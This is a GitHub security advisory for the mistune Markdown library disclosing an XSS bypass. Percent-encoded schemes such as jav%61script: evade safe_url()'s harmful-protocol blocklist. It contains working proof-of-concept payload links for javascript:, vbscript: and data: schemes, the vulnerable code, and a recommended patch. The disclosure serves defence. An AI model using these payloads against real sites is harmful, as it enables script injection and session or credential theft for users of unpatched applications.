Skip to content

Percent-encoded URL scheme bypass allows XSS via javascript: protocol in safe_url()

Moderate
lepture published GHSA-8ppg-4vv7-9p53 Jun 21, 2026

Package

pip mistune (pip)

Affected versions

<= 3.2.1

Patched versions

3.3.0

Description

Summary:

The safe_url() function fails to decode percent-encoded characters before
checking for harmful URL protocols (javascript:, vbscript:, data:, file:).
An attacker can encode one or more characters in the scheme name (e.g.
jav%61script:) to bypass the blocklist entirely. Any application that
renders untrusted Markdown with mistune is vulnerable to stored or reflected
XSS — no authentication required.

Details:

Root cause is in two files:

src/mistune/util.py% is kept as a safe char, so percent-encoding
is never decoded:

def escape_url(link: str) -> str:
    safe = ":/?#@!$&()*+,;=%"   # % preserved intentionally
    return quote(unescape(link), safe=safe)
    # unescape() only handles HTML entities like &amp; &#xNN;
    # It does NOT touch percent-encoding like %61

src/mistune/renderers/html.py — protocol check runs on the raw,
un-decoded URL:

def safe_url(self, url: str) -> str:
    _url = url.lower()   # %61 stays as %61, not decoded to 'a'
    if _url.startswith(self.HARMFUL_PROTOCOLS):
        return "#harmful-link"
    return escape_text(url)   # bypassed → XSS payload reaches browser

So "jav%61script:alert(1)".lower() does not start with "javascript:",
the check passes, the raw href reaches the HTML output, and the browser
decodes %61a and executes the script.

This is separate from Issue #87 (HTML entity bypass javascript&colon;).
That was HTML entity encoding — this is URL percent-encoding, a different
code path that was never addressed.

### POC:
Tested on mistune 3.1.3 and 3.2.1 (pip install mistune==3.2.1):

import mistune
md = mistune.create_markdown()

# Test 1 — encoded lowercase 'a'
print(md("[click](jav%61script:alert(1))"))
# Got:      <p><a href="jav%61script:alert(1)">click</a></p>   ← BYPASSED
# Expected: <p><a href="#harmful-link">click</a></p>

# Test 2 — mixed case + encoded 'S'
print(md("[click](JAVA%53CRIPT:alert(1))"))
# Got:      <p><a href="JAVA%53CRIPT:alert(1)">click</a></p>   ← BYPASSED

# Test 3 — vbscript bypass
print(md("[click](vbscri%70t:msgbox(1))"))
# Got:      <p><a href="vbscri%70t:msgbox(1)">click</a></p>    ← BYPASSED

# Test 4 — data: bypass via image
print(md("![x](dat%61:text/html,<script>alert(1)</script>)"))
# Got:      <p><img src="dat%61:text/html,..." />               ← BYPASSED

# Confirmed: plain javascript: is still correctly blocked
print(md("[click](javascript:alert(1))"))
# Got:      <p><a href="#harmful-link">click</a></p>            ← BLOCKED ✓

### Impact
Any application that passes untrusted user input through mistune's Markdown
renderer is vulnerable to Cross-Site Scripting (XSS).

Attack scenario:

  • Comment systems, wikis, chat apps, documentation platforms that render
    user-supplied Markdown with mistune are all affected.
  • An unauthenticated attacker submits a Markdown link with a percent-encoded
    scheme: click me
  • A victim clicks the rendered link → JavaScript executes in the victim's
    browser → session hijacking, credential theft, or account takeover.

Recommended fix — decode percent-encoding before the protocol check:

from urllib.parse import unquote

def safe_url(self, url: str) -> str:
    _url = unquote(url).lower()   # decode %XX first, THEN check
    if _url.startswith(self.HARMFUL_PROTOCOLS) and \
       not _url.startswith(self.GOOD_DATA_PROTOCOLS):
        return "#harmful-link"
    return escape_url(url)

Verified: this patch blocks all encoded variants while leaving legitimate
https:// and http:// URLs completely unaffected.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits